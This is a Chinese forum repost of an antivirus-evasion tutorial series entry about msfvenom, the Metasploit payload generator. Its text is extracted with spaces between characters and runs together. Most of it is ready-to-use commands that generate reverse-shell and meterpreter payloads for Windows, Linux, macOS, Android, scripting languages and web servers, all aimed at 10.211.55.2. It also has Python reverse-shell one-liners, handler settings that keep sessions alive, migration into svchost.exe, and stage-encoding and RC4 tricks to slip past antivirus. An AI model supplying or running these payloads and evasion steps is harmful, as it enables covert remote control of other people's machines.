搜索

[26910] 2020-02-10_远控免杀专题文章(2)-msfvenom隐藏的参数

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-02-10_远控免杀专题文章(2)-msfvenom隐藏的参数 远 控 免 杀 专 题 文 章 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 2 - 1 0 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 、 远 控 免 杀 专 题 文 章 ( 1 ) - 基 础 篇 ： 因 为 c o b a l t s t r i k e 生 成 p a y l o a d 比 较 简 单 ， 这 里 不 再 累 述 ， 只 是 介 绍 一 下 m s f v e n o m 的 基 本 参 数 和 一 些 小 技 巧 。 本 节 目 录 如 下 ： T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 远 控 免 杀 专 题 文 章 ( 1 ) - 基 础 篇
m s f v e n o m 简 介 简 介 m s f v e n o m 是 m s f p a y l o a d 和 m s f e n c o d e 的 结 合 体 ， 于 2 0 1 5 年 6 月 8 日 取 代 了 m s f p a y l o a d 和 m s f e n c o d e 。 在 此 之 后 ， m e t a s p l o i t - f r a m e w o r k 下 面 的 的 m s f p a y l o a d （ 荷 载 生 成 器 ） ， m s f e n c o d e r （ 编 码 器 ） ， m s f c l i （ 监 听 接 口 ） 都 不 再 被 支 持 。 常 规 参 数 常 规 参 数 m s f v e n o m 所 有 参 数 部 分 参 数 解 读 比 如 想 查 看 支 持 什 么 平 台 、 哪 些 选 项 ， 可 以 使 用 - p ,   – p a y l o a d   <   p a y l o a d >   指 定 需 要 使 用 的 p a y l o a d ( 攻 击 荷 载 ) 。 也 可 以 使 用 自 定 义 p a y l o a d , 几 乎 是 支 持 全 平 台 的 - l ,   – l i s t   [ m o d u l e _ t y p e ]   列 出 指 定 模 块 的 所 有 可 用 资 源 .   模 块 类 型 包 括 :   p a y l o a d s ,   e n c o d e r s ,   n o p s ,   a l l - n ,   – n o p s l e d   <   l e n g t h >   为 p a y l o a d 预 先 指 定 一 个 N O P 滑 动 长 度 - f ,   – f o r m a t   <   f o r m a t >   指 定 输 出 格 式   ( 使 用   – h e l p - f o r m a t s   来 获 取 m s f 支 持 的 输 出 格 式 列 表 ) - e ,   – e n c o d e r   [ e n c o d e r ]   指 定 需 要 使 用 的 e n c o d e r （ 编 码 器 ） , 指 定 需 要 使 用 的 编 码 ， 如 果 既 没 用 - e 选 项 也 没 用 - b 选 项 ， 则 输 出 r a w   p a y l o a d - a ,   – a r c h   <   a r c h i t e c t u r e >   指 定 p a y l o a d 的 目 标 架 构 ， 例 如 x 8 6   |   x 6 4   |   x 8 6 _ 6 4 – p l a t f o r m   <   p l a t f o r m >   指 定 p a y l o a d 的 目 标 平 台 - s ,   – s p a c e   <   l e n g t h >   设 定 有 效 攻 击 荷 载 的 最 大 长 度 ， 就 是 文 件 大 小 - b ,   – b a d - c h a r s   <   l i s t >   设 定 规 避 字 符 集 ， 指 定 需 要 过 滤 的 坏 字 符 例 如 ： 不 使 用   ' x 0 f ' 、 ' x 0 0 ' ; - i ,   – i t e r a t i o n s   <   c o u n t >   指 定 p a y l o a d 的 编 码 次 数 - c ,   – a d d - c o d e   <   p a t h >   指 定 一 个 附 加 的 w i n 3 2   s h e l l c o d e 文 件 - x ,   – t e m p l a t e   <   p a t h >   指 定 一 个 自 定 义 的 可 执 行 文 件 作 为 模 板 , 并 将 p a y l o a d 嵌 入 其 中 - k ,   – k e e p   保 护 模 板 程 序 的 动 作 ， 注 入 的 p a y l o a d 作 为 一 个 新 的 进 程 运 行 – p a y l o a d - o p t i o n s   列 举 p a y l o a d 的 标 准 选 项 - o ,   – o u t   <   p a t h >   指 定 创 建 好 的 p a y l o a d 的 存 放 位 置 - v ,   – v a r - n a m e   <   n a m e >   指 定 一 个 自 定 义 的 变 量 ， 以 确 定 输 出 格 式 – s h e l l e s t   最 小 化 生 成 p a y l o a d - h ,   – h e l p   查 看 帮 助 选 项 – h e l p - f o r m a t s   查 看 m s f 支 持 的 输 出 格 式 列 表 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - - l i s t - o p t i o n s
使 用 可 查 看 所 有 p a y l o a d s 使 用 可 查 看 所 有 编 码 器 m s f v e n o m   - - l i s t   p a y l o a d s m s f v e n o m   - - l i s t   e n c o d e r s
可 以 看 到 评 级 最 高 的 两 个 e n c o d e r 为 和 ， 其 中 也 是 免 杀 中 使 用 频 率 最 高 的 一 个 编 码 器 了 。 类 似 可 用 命 令 查 看 的 还 有 。 几 个 重 要 的 监 听 参 数 几 个 重 要 的 监 听 参 数 防 止 假 防 止 假 s e s s i o n 在 实 战 中 ， 经 常 会 遇 到 假 s e s s i o n 或 者 刚 连 接 就 断 开 的 情 况 ， 这 里 补 充 一 些 监 听 参 数 ， 防 止 假 死 与 假 s e s s i o n 。 防 止 防 止 s e s s i o n 意 外 退 出 意 外 退 出 h a n d l e r 后 台 持 续 监 听 后 台 持 续 监 听 使 用 可 在 后 台 持 续 监 听 , - j 为 后 台 任 务 ， - z 为 持 续 监 听 ， 使 用 J o b s 命 令 查 看 和 管 理 后 台 任 务 。 可 结 束 所 有 任 务 。 还 有 种 比 较 快 捷 的 建 立 监 听 的 方 式 ， 在 m s f 下 直 接 执 行 ： 会 生 成 监 听 p a y l o a d 的 可 持 续 化 的 可 持 续 化 一 般 来 说 使 用 m s f v e n o m 生 成 的 p a y l o a d 会 单 独 开 启 一 个 进 程 ， 这 种 进 程 很 容 易 被 发 现 和 关 闭 ， 在 后 期 想 做 持 久 化 的 时 候 只 能 再 使 用 进 行 。 其 实 在 生 成 p a y l o a d 时 可 直 接 使 用 如 下 命 令 ， 生 成 的 p a y l o a d 会 直 接 注 入 到 指 定 进 程 中 。 c m d / p o w e r s h e l l _ b a s e 6 4 x 8 6 / s h i k a t a _ g a _ n a i x 8 6 / s h i k a t a _ g a _ n a i m s f v e n o m   - - l i s t p a y l o a d s ,   e n c o d e r s ,   n o p s ,   p l a t f o r m s ,   a r c h s ,   e n c r y p t ,   f o r m a t s m s f   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   E x i t O n S e s s i o n   f a l s e       / / 可 以 在 接 收 到 s e e s i o n 后 继 续 监 听 端 口 ， 保 持 侦 听 。 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   S e s s i o n C o m m u n i c a t i o n T i m e o u t   0     / / 默 认 情 况 下 ， 如 果 一 个 会 话 将 在 5 分 钟 （ 3 0 0 秒 ） 没 有 任 何 活 动 ， 那 么 它 会 被 杀 死 , 为 防 止 此 情 况 可 将 此 项 修 改 为 0 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   S e s s i o n E x p i r a t i o n T i m e o u t   0   / / 默 认 情 况 下 ， 一 个 星 期 （ 6 0 4 8 0 0 秒 ） 后 ， 会 话 将 被 强 制 关 闭 , 修 改 为 0 可 永 久 不 会 被 关 闭 m s f   e x p l o i t ( m u l t i / h a n d l e r )   >   e x p l o i t   - j   - z e x p l o i t   - j   - z j o b s   - K m s f 5   >   h a n d l e r   - H   1 0 . 2 1 1 . 5 5 . 2   - P   3 3 3 3   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m i g r a t e
生 成 的 s h e l l 程 序 执 行 后 会 启 动 两 个 进 程 和 ， 关 闭 其 中 一 个 不 会 影 响 会 话 状 态 。 唯 一 美 中 不 足 的 是 不 是 目 录 下 的 。 在 上 面 的 生 成 p a y l o a d 参 数 中 ： （ 1 ） P r e p e n d M i g r a t e = t r u e     使 这 个 程 序 默 认 会 迁 移 到 s v c h o s t . e x e 进 程 ， 自 己 测 试 的 时 候 不 建 议 到 这 个 进 程 而 是 其 他 的 持 久 进 程 。 （ 2 ） 使 用 - p 指 定 使 用 的 攻 击 载 荷 模 块 ， 使 用 - e 指 定 使 用 x 8 6 / s h i k a t a _ g a _ n a i 编 码 器 ， 使 用 - f 选 项 告 诉 M S F 编 码 器 输 出 格 式 为 e x e ， - o 选 项 指 定 输 出 的 文 件 名 为 p a y l o a d . e x e ， 保 存 在 根 目 录 下 。 绕 过 杀 软 绕 过 杀 软 这 是 大 佬 提 到 的 一 种 方 式 ， 使 用 r e v e r s e _ h t t p s 等 p a y l o a d 时 可 以 使 用 下 列 方 法 b y p a s s 部 分 杀 软 。 生 成 p a y l o a d : 在 m s f 中 进 行 如 下 设 置 ， 将 控 制 端 向 被 控 制 端 发 送 的 s t a g e 进 行 编 码 同 样 ， 使 用 r e v e r s e _ t c p _ r c 4 也 有 同 样 的 效 果 ， 而 且 不 能 设 置 s t a g e e n c o d e r 选 项 ， 更 稳 定 更 方 便 。 利 用 r c 4 对 传 输 的 数 据 进 行 加 密 ， 密 钥 在 生 成 时 指 定 ， 在 监 听 的 服 务 端 设 置 相 同 的 密 钥 。 就 可 以 在 s y m a n t e c 眼 皮 下 执 行 m e t e r p r e t e r 。 各 平 台 各 平 台 p a y l o a d 生 成 生 成 二 进 制 二 进 制 w i n d o w s w i n d o w s 下 生 成 3 2 位 / 6 4 位 p a y l o a d 时 需 要 注 意 ： 以 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 为 例 ， 该 p a y l o a d 默 认 为 3 2 位 ， 也 可 使 用 - a   x 8 6 选 项 指 定 。 如 果 要 生 成 6 4 位 ， 则 p a y l o a d 为 w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p 。 L i n u x M a c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - e   x 8 6 / s h i k a t a _ g a _ n a i   - b   " x 0 0 "   - i   5   - a   x 8 6   - - p l a t f o r m   w i n   P r e p e n d M i g r a t e = t r u e   P r e p e n d M i g r a t e P r o c = s v c h o s t . e x e   - f   e x e   - o     s h e l l . e x e s h e l l . e x e s v c h o s t . e x e s v c h o s t . e x e s y s t e m 3 2 P r e p e n d M i g r a t e P r o c = s v c h o s t . e x e g r e e n - m m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   l h o s t = 1 0 . 2 1 1 . 5 5 . 2   l p o r t = 3 3 3 3   - f   c m s f   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   E n a b l e S t a g e E n c o d i n g   t r u e       / / 尝 试 使 用 不 同 的 编 码 器 对 s t a g e 进 行 编 码 ， 可 能 绕 过 部 分 杀 软 的 查 杀 E n a b l e S t a g e E n c o d i n g   = >   t r u e m s f   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   s t a g e e n c o d e r   x 8 6 / f n s t e n v _ m o v S t a g e e n c o d e r   = >   x 6 4 / x o r m s f   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   s t a g e e n c o d i n g f a l l b a c k   f a l s e s t a g e e n c o d i n g f a l l b a c k   = >   f a l s e m s f v e n o m   - p     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p _ r c 4     l h o s t = 1 0 . 2 1 1 . 5 5 . 2   l p o r t = 3 3 3 3   R C 4 P A S S W O R D = t i d e s e c     - f   c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - a   x 8 6   - - p l a t f o r m   W i n d o w s   - f   e x e   >   s h e l l . e x e m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   e x e   >   s h e l l . e x e m s f v e n o m   - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - a   x 8 6   - - p l a t f o r m   L i n u x   - f   e l f   >   s h e l l . e l f m s f v e n o m   - p   o s x / x 8 6 / s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - a   x 8 6   - - p l a t f o r m   o s x   - f   m a c h o   >   s h e l l . m a c h o
A n d r o i d P o w e r s h e l l N e t c a t n c 正 向 连 接 n c 反 向 连 接 ， 监 听 S h e l l c o d e 基 于 基 于 L i n u x 的 的 S h e l l c o d e 基 于 基 于 W i n d o w s 的 的 S h e l l c o d e 基 于 基 于 M a c 的 的 S h e l l c o d e 脚 本 脚 本 P y t h o n 反 弹 反 弹 s h e l l P y t h o n 正 向 正 向 s h e l l B a s h P e r l L u a R u b y W e b m s f v e n o m   - a   d a l v i k   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   >   s h e l l . a p k m s f v e n o m   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   R   >   t e s t . a p k m s f v e n o m   - a   x 8 6   - - p l a t f o r m   W i n d o w s   - p   w i n d o w s / p o w e r s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - e   c m d / p o w e r s h e l l _ b a s e 6 4   - i   3   - f   r a w   - o   s h e l l . p s 1 m s f v e n o m   - p   w i n d o w s / s h e l l _ h i d d e n _ b i n d _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3     - f   e x e >   1 . e x e m s f v e n o m   - p   w i n d o w s / s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3     - f   e x e >   1 . e x e m s f v e n o m   - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - a   x 8 6   - - p l a t f o r m   W i n d o w s   - f   c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - a   x 8 6   - - p l a t f o r m   L i n u x   - f   c m s f v e n o m   - p   o s x / x 8 6 / s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - a   x 8 6   - - p l a t f o r m   o s x   - f   c m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ p y t h o n   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   >   s h e l l . p y m s f v e n o m   - a   p y t h o n   - p   p y t h o n / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   >   s h e l l . p y p y t h o n / p y t h o n 3   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 0 . 2 1 1 . 5 5 . 2 " , 3 3 3 3 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / b a s h " , " - i " ] ) ; ' p y t h o n / p y t h o n 3   - c   " e x e c ( " i m p o r t   s o c k e t ,   s u b p r o c e s s ; s   =   s o c k e t . s o c k e t ( ) ; s . c o n n e c t ( ( " 1 0 . 2 1 1 . 5 5 . 2 " , 3 3 3 3 ) ) n w h i l e   1 :     p r o c   =   s u b p r o c e s s . P o p e n ( s . r e c v ( 1 0 2 4 ) ,   s h e l l = T r u e ,   s t d o u t = s u b p r o c e s s . P I P E ,   s t d e r r = s u b p r o c e s s . P I P E ,   s t d i n = s u b p r o c e s s . P I P E ) ; s . s e n d ( p r o c . s t d o u t . r e a d ( ) + p r o c . s t d e r r . r e a d ( ) ) " ) " m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ b a s h   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   >   s h e l l . s h m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ p e r l   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   >   s h e l l . p l m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ l u a   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   - o   s h e l l . l u a m s f v e n o m   - p   r u b y / s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   - o   s h e l l . r b
P H P A S P X A S P J S P W A R n o d e j s H a n d l e r s m s f v e n o m 命 令 自 动 补 全 命 令 自 动 补 全 m s f v e n o m 参 数 和 命 令 很 多 ， 各 种 p a y l o a d 和 e n c o d e r 经 常 让 人 眼 花 缭 乱 ， 特 别 是 对 英 语 不 好 的 人 来 说 有 些 命 令 可 能 很 容 易 忘 记 。 所 以 大 佬 写 了 一 个 z s h 插 件 ， 可 以 自 动 化 的 补 全 m s f v e n o m 命 令 ， 有 了 它 妈 妈 再 也 不 用 担 心 我 会 忘 记 m s f v e n o m 命 令 了 ！ 先 看 看 安 装 后 的 效 果 ： 安 装 如 下 ： 之 后 可 正 常 使 用 。 参 考 资 料 参 考 资 料 m s f v e n o m   - p   p h p / m e t e r p r e t e r _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   >   s h e l l . p h p c a t   s h e l l . p h p   |   p b c o p y   & &   e c h o   ' < ? p h p   '   |   t r   - d   ' n '   >   s h e l l . p h p   & &   p b p a s t e   > >   s h e l l . p h p m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   a s p x   - o   s h e l l . a s p x m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   a s p   >   s h e l l . a s p m s f v e n o m   - p   j a v a / j s p _ s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   >   s h e l l . j s p m s f v e n o m   - p   j a v a / j s p _ s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   w a r   >   s h e l l . w a r m s f v e n o m   - p   n o d e j s / s h e l l _ r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   - o   s h e l l . j s u s e   e x p l o i t / m u l t i / h a n d l e r s e t   P A Y L O A D   < P a y l o a d   n a m e > s e t   L H O S T   1 0 . 2 1 1 . 5 5 . 2 s e t   L P O R T   3 3 3 3 s e t   E x i t O n S e s s i o n   f a l s e e x p l o i t   - j   - z G r e e n _ m 安 装 前 提 ： 已 经 安 装 了 z s h 。 #   下 载 m s f v e n o m   p l u g i n . g i t   c l o n e   h t t p s : / / g i t h u b . c o m / G r e e n - m / m s f v e n o m - z s h - c o m p l e t i o n   ~ / . o h - m y - z s h / c u s t o m / p l u g i n s / m s f v e n o m / #   打 开   ~ / . z s h r c   文 件 ， 启 用 插 件 p l u g i n s = ( . . .     m s f v e n o m ) #   在 当 前 s h e l l 中 导 入 . z s h r c 文 件 中 的 设 置 s o u r c e   ~ / . z s h r c
m s f v e n o m   进 阶 : h t t p s : / / k l i o n s e c . g i t h u b . i o / 2 0 1 7 / 0 3 / 0 8 / m s f v e n o m - a d v a n c e d / H o w   t o   u s e   m s f v e n o m : h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / w i k i / H o w - t o - u s e - m s f v e n o m m s f v e n o m   使 用 方 法 简 单 介 绍 ： h t t p : / / w w w . o n e b u g . o r g / t e s t i n g / 1 6 1 . h t m l B y p a s s   A V   m e t e r p r e t e r 免 杀 技 巧 : h t t p s : / / g r e e n - m . m e / 2 0 1 6 / 1 1 / 1 5 / m e t e r p r e t e r - b y p a s s - a v / M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理